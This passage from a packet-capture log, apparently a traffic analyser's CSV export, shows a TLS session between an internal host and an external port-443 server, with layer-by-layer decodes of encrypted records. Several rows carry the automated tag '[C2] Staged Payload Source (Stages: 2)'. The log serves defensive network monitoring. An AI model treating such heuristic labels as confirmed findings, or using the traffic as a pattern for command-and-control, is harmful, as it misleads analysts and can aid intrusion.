0414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303630393037313930305a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303630393037303330305aa011180f32303236303631363036303330305a300d06092a864886f70d01010b0500038201010076dd3027af599ae4dc943a023571859d262b997069f396f5dfb7359d2d3daa239e6c87685a06c6be9a49ee04fa0f53367f0a231e548b5fd87fe5cfada28d4c6cc34445b59b0bbe2b6dec7cfbb9373aded13898662846a2280e779948cc10eebb08205a5d3f802a7c64e4699270a033b4fdd97426e4c17df588644c53b3bc52068ccb04ac98b52b748cb81b0dbd0193b43efc371ee85bc813c0e12f3e16518de198ddeb7eb4e54c68e0e24f9e2b6df30d119d4f7e32f8d4d41e95e478650436ee80abd67ddf1a5d29f622d7b2059198a234a0c347f050cb04e3d256d693e0ff22ea93af535191075da94d9fccee5fa10ac6eb3d4f215be9e1994d0d20dc59f96c0c00016903001861046cb2dc716d358c459560d5a7ac3f41d57075d4c05901abd7af5103786a75991ce4ac5dd4e9b986f7187349de971935beea29eea7b996c8ac5661a4a7c002acd61a7bcf1fd546e200f30a8011c9da36c7d370413bdd131c0c4f9e5e05363a7582080401007012462da3ac474dbf719e1a3f6f805ec2eb3e89dd66b46e573c661aaa5c8d74ea7274356d885d5d6cf39760118c3e3ad6d16333ce827636ecef5827fae126f55d58505e8b0d3a6e3609ed2cd1a6a7dc44672d753eba9de8131aac5089cf5f41442cd7a033938603aed3475901dc5cb68d95e3abeeb9347a4c7ef3a042d9ec919fb3fd4630ec3bbf42308f56085d246dde01ee86f542a88f5e7a60d852bcdf9dc96e57328deefb867c3813fe796c688ccc3183889c90f4532a9849deb55410b5487eff77cbfe5117c820436fa9fbc9418f2282f3fab1a9102801bbb6e77236609c877d5cd33dba27e8193498071f89fe71ebd7fbea5ce04965f1c005b37bdf490e000000\"\"}}]\"\n2026-06-14 14:22:47.844148,60,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3321035961 Ack=763875031,bc24112907bbbc2411360d0c0800450000288f06400080065e0f0a98980b84f5e621fa0a01bbc5f2fcb92d87ced750100400e3480000,\".$.)...$.6\n...E..(..@...^.\n......!.\n......-...P....H..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36614, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24079, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321035961, \"\"ack\"\": 763875031, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 58184, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:47.847420,61,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=3321035961 Ack=763875031,bc24112907bbbc2411360d0c0800450000c68f07400080065d700a98980b84f5e621fa0a01bbc5f2fcb92d87ced750180400ca3600001603030066100000626104b642fccd67c634a59405629b5ac480180685c976961ae7af825d801c84d45edd6da2e1e1a3d3890b574b9efde6faa1a190b1986baa28aa161eef3849f414516e95a1923329bd5bac43594b5a75e83531d2ad1fffe2688e0cdaf73504d06138ca1403030001011603030028000000000000000033bed98c8ed8728d0ec029b065b86ca0327d5d6b6f5ff989d47b84c13985e2c1,a..B..g.4...b.Z......v.....]....^.m.......WK.........k.(....8I..Qn...3).[.CYKZu.51.....h....5..a8.,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 198, \"\"id\"\": 36615, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23920, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321035961, \"\"ack\"\": 763875031, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 51766, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 102, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=98 exchkeys=<Raw  load=b'a\\\\x04\\\\xb6B\\\\xfc\\\\xcdg\\\\xc64\\\\xa5\\\\x94\\\\x05b\\\\x9bZ\\\\xc4\\\\x80\\\\x18\\\\x06\\\\x85\\\\xc9v\\\\x96\\\\x1a\\\\xe7\\\\xaf\\\\x82]\\\\x80\\\\x1c\\\\x84\\\\xd4^\\\\xddm\\\\xa2\\\\xe1\\\\xe1\\\\xa3\\\\xd3\\\\x89\\\\x0bWK\\\\x9e\\\\xfd\\\\xe6\\\\xfa\\\\xa1\\\\xa1\\\\x90\\\\xb1\\\\x98k\\\\xaa(\\\\xaa\\\\x16\\\\x1e\\\\xef8I\\\\xf4\\\\x14Qn\\\\x95\\\\xa1\\\\x923)\\\\xbd[\\\\xacCYKZu\\\\xe851\\\\xd2\\\\xad\\\\x1f\\\\xff\\\\xe2h\\\\x8e\\\\x0c\\\\xda\\\\xf75\\\\x04\\\\xd0a8\\\\xca' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'3\\\\xbe\\\\xd9\\\\x8c\\\\x8e\\\\xd8r\\\\x8d\\\\x0e\\\\xc0)\\\\xb0e\\\\xb8l\\\\xa02}]ko_\\\\xf9\\\\x89\\\\xd4{\\\\x84\\\\xc19\\\\x85\\\\xe2\\\\xc1' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:47.847427,62,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=763875031 Ack=3321036119,bc2411360d0cbc24112907bb0800450000288cc740004006a04e84f5e6210a98980b01bbfa0a2d87ced7c5f2fd575010003f0dd50000,\".$.6\n..$.)....E..(..@.@..N...!\n......\n-......WP..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36039, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41038, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763875031, \"\"ack\"\": 3321036119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:48.271917,63,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=763875031 Ack=3321036119,bc2411360d0cbc24112907bb0800450001d38cc8400040069ea284f5e6210a98980b01bbfa0a2d87ced7c5f2fd575018003f0f800000160303012e0400012a00008ca0012400000000945e016933019c4f9ba9c380eed9f07ca96c718cb629cd495623665f199c754973e7918295a400fb34f7362bc4c547e92826979e167dbf3da327a6dfc6942f5469a5d293757bbaee29a7bf2a42faedde0f62628f5e62f365bfec91a2ba0280bda09f35a1b9d3caab18ee5df0b2de7bd2bda965da66cd86d0df1fd96975ade61287552680bd914c017fe1243ee59404acbbe2822e3e7eee6f29a6967d90a74b2ea02ba9668cff1025b1cbbfacd9b0f1b5284159c63961b45c02d076d7a582825043d940d545ca07ba4fd6c82321e5fe00bd6dd89aa3d05b4e1c62bd0f49a43f6e1615ef7a75cd3b7b527457acc6e22033f5cf763ca9fba2e925b3b440bc8bf5104566d242d3296f8032a6359843a1faab8582a1973febb9b8bd5a6c4a4466cd11140303000101160303002800000000000000005f398825ce3e627b596d06209caf2fd0bddc6d6cc5fb31cee081ab2a4aa65368170303004000000000000000015bfa527662ff79342431813482e07980b145b9035e0ec0b5bb3481d154e75dda175efbb2d5c570235dd867c71e14edce1cf41f0040431cb1,_9.%.>b{Ym. ../...ml..1....*J.Sh,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 467, \"\"id\"\": 36040, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 40610, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763875031, \"\"ack\"\": 3321036119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 3968, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 302, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=298 lifetime=36000 ticketlen=292 ticket=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x94^\\\\x01i3\\\\x01\\\\x9cO\\\\x9b\\\\xa9\\\\xc3\\\\x80\\\\xee\\\\xd9\\\\xf0|\\\\xa9lq\\\\x8c\\\\xb6)\\\\xcdIV#f_\\\\x19\\\\x9cuIs\\\\xe7\\\\x91\\\\x82\\\\x95\\\\xa4\\\\x00\\\\xfb4\\\\xf76+\\\\xc4\\\\xc5G\\\\xe9(&\\\\x97\\\\x9e\\\\x16}\\\\xbf=\\\\xa3'\\\\xa6\\\\xdf\\\\xc6\\\\x94/Ti\\\\xa5\\\\xd2\\\\x93u{\\\\xba\\\\xee)\\\\xa7\\\\xbf*B\\\\xfa\\\\xed\\\\xde\\\\x0fbb\\\\x8f^b\\\\xf3e\\\\xbf\\\\xec\\\\x91\\\\xa2\\\\xba\\\\x02\\\\x80\\\\xbd\\\\xa0\\\\x9f5\\\\xa1\\\\xb9\\\\xd3\\\\xca\\\\xab\\\\x18\\\\xee]\\\\xf0\\\\xb2\\\\xde{\\\\xd2\\\\xbd\\\\xa9e\\\\xdaf\\\\xcd\\\\x86\\\\xd0\\\\xdf\\\\x1f\\\\xd9iu\\\\xad\\\\xe6\\\\x12\\\\x87U&\\\\x80\\\\xbd\\\\x91L\\\\x01\\\\x7f\\\\xe1$>\\\\xe5\\\\x94\\\\x04\\\\xac\\\\xbb\\\\xe2\\\\x82.>~\\\\xeeo)\\\\xa6\\\\x96}\\\\x90\\\\xa7K.\\\\xa0+\\\\xa9f\\\\x8c\\\\xff\\\\x10%\\\\xb1\\\\xcb\\\\xbf\\\\xac\\\\xd9\\\\xb0\\\\xf1\\\\xb5(AY\\\\xc69a\\\\xb4\\\\\\\\\\\\x02\\\\xd0v\\\\xd7\\\\xa5\\\\x82\\\\x82PC\\\\xd9@\\\\xd5E\\\\xca\\\\x07\\\\xbaO\\\\xd6\\\\xc8#!\\\\xe5\\\\xfe\\\\x00\\\\xbdm\\\\xd8\\\\x9a\\\\xa3\\\\xd0[N\\\\x1cb\\\\xbd\\\\x0fI\\\\xa4?n\\\\x16\\\\x15\\\\xefzu\\\\xcd;{RtW\\\\xac\\\\xc6\\\\xe2 3\\\\xf5\\\\xcfv<\\\\xa9\\\\xfb\\\\xa2\\\\xe9%\\\\xb3\\\\xb4@\\\\xbc\\\\x8b\\\\xf5\\\\x10Ef\\\\xd2B\\\\xd3)o\\\\x802\\\\xa65\\\\x98C\\\\xa1\\\\xfa\\\\xab\\\\x85\\\\x82\\\\xa1\\\\x97?\\\\xeb\\\\xb9\\\\xb8\\\\xbdZlJDf\\\\xcd\\\\x11\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'_9\\\\x88%\\\\xce>b{Ym\\\\x06 \\\\x9c\\\\xaf/\\\\xd0\\\\xbd\\\\xdcml\\\\xc5\\\\xfb1\\\\xce\\\\xe0\\\\x81\\\\xab*J\\\\xa6Sh' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 64, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01[\\\\xfaRvb\\\\xffy4$1\\\\x814\\\\x82\\\\xe0y\\\\x80\\\\xb1E\\\\xb9\\\\x03^\\\\x0e\\\\xc0\\\\xb5\\\\xbb4\\\\x81\\\\xd1T\\\\xe7]\\\\xda\\\\x17^\\\\xfb\\\\xb2\\\\xd5\\\\xc5p#]\\\\xd8g\\\\xc7\\\\x1e\\\\x14\\\\xed\\\\xce\\\\x1c\\\\xf4\\\\x1f\\\\x00@C\\\\x1c\\\\xb1' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:48.272074,64,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3321036119 Ack=763875458,bc24112907bbbc2411360d0c0800450000288f08400080065e0d0a98980b84f5e621fa0a01bbc5f2fd572d87d082501003fee1010000,\".$.)...$.6\n...E..(..@...^\n......!.\n.....W-...P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36616, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24077, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321036119, \"\"ack\"\": 763875458, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 57601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:48.273120,65,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3321036119 Ack=763875458,bc24112907bbbc2411360d0c08004500007f8f09400080065db50a98980b84f5e621fa0a01bbc5f2fd572d87d082501803fe8dcd000017030300520000000000000001510d51faeef8f8f96092fd222bfb5eebd1b9e2421986311217a0ce4aeec8ba28624353041938fd95b3d956b21c430e5f7df42accd63cbe2f1106be8456af560cb45db2a01312f7c7a44d,\".$.)...$.6\n...E....\t@...].\n......!.\n.....W-...P...........R........Q\nQ.....`..\"\"+.^....B..1....J...(bCS..8....V..C._}.*..<./....V.V..].......M\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 127, \"\"id\"\": 36617, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23989, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321036119, \"\"ack\"\": 763875458, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 36301, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 82, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01Q\\\\rQ\\\\xfa\\\\xee\\\\xf8\\\\xf8\\\\xf9`\\\\x92\\\\xfd\\\"\"+\\\\xfb^\\\\xeb\\\\xd1\\\\xb9\\\\xe2B\\\\x19\\\\x861\\\\x12\\\\x17\\\\xa0\\\\xceJ\\\\xee\\\\xc8\\\\xba(bCS\\\\x04\\\\x198\\\\xfd\\\\x95\\\\xb3\\\\xd9V\\\\xb2\\\\x1cC\\\\x0e_}\\\\xf4*\\\\xcc\\\\xd6<\\\\xbe/\\\\x11\\\\x06\\\\xbe\\\\x84V\\\\xafV\\\\x0c\\\\xb4]\\\\xb2\\\\xa0\\\\x13\\\\x12\\\\xf7\\\\xc7\\\\xa4M' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:48.273124,66,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=763875458 Ack=3321036206,bc2411360d0cbc24112907bb0800450000288cc940004006a04c84f5e6210a98980b01bbfa0a2d87d082c5f2fdae5010003f0dd50000,\".$.6\n..$.)....E..(..@.@..L...!\n......\n-.......P..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36041, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41036, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763875458, \"\"ack\"\": 3321036206, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:48.273288,67,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3321036206 Ack=763875458,bc24112907bbbc2411360d0c08004500004e8f0a400080065de50a98980b84f5e621fa0a01bbc5f2fdae2d87d082501803fe32960000170303002100000000000000027b93716a11886ffcaf330ed363a094a733a86a87543c82334a,\".$.)...$.6\n...E..N.\n@...].\n......!.\n......-...P...2.......!........{.qj..o..3..c...3.j.T<.3J\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 36618, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24037, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321036206, \"\"ack\"\": 763875458, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 12950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02{\\\\x93qj\\\\x11\\\\x88o\\\\xfc\\\\xaf3\\\\x0e\\\\xd3c\\\\xa0\\\\x94\\\\xa73\\\\xa8j\\\\x87T<\\\\x823J' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:48.273293,68,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=763875458 Ack=3321036244,bc2411360d0cbc24112907bb0800450000288cca40004006a04b84f5e6210a98980b01bbfa0a2d87d082c5f2fdd45010003f0dd50000,\".$.6\n..$.)....E..(..@.@..K...!\n......\n-.......P..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36042, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41035, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763875458, \"\"ack\"\": 3321036244, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:48.273324,69,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3321036244 Ack=763875458,bc24112907bbbc2411360d0c08004500009c8f0b400080065d960a98980b84f5e621fa0a01bbc5f2fdd42d87d082501803fe96900000170303006f0000000000000003be2d2e3f78ef7c4bd47b7059afc7551f7e5ebce6ba7a80931ef4aa6bbb7d0fae82a2967147cfa7a626466ce6f560fa4ee4058ea5c44284e121e47226b372873de3ffeb593a7912e0c113ea0d1c1ad1700817690ffcfaeb1916ee6bc8f8d959a32326df39b6598c,\".$.)...$.6\n...E.....@...].\n......!.\n......-...P...........o.........-.?x.|K.{pY..U.~^...z.....k.}.....qG...&Fl..`.N.....B..!.r&.r.=...Y:y.....\n...p..i.......k...Y.#&.9.Y.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 156, \"\"id\"\": 36619, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23958, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": 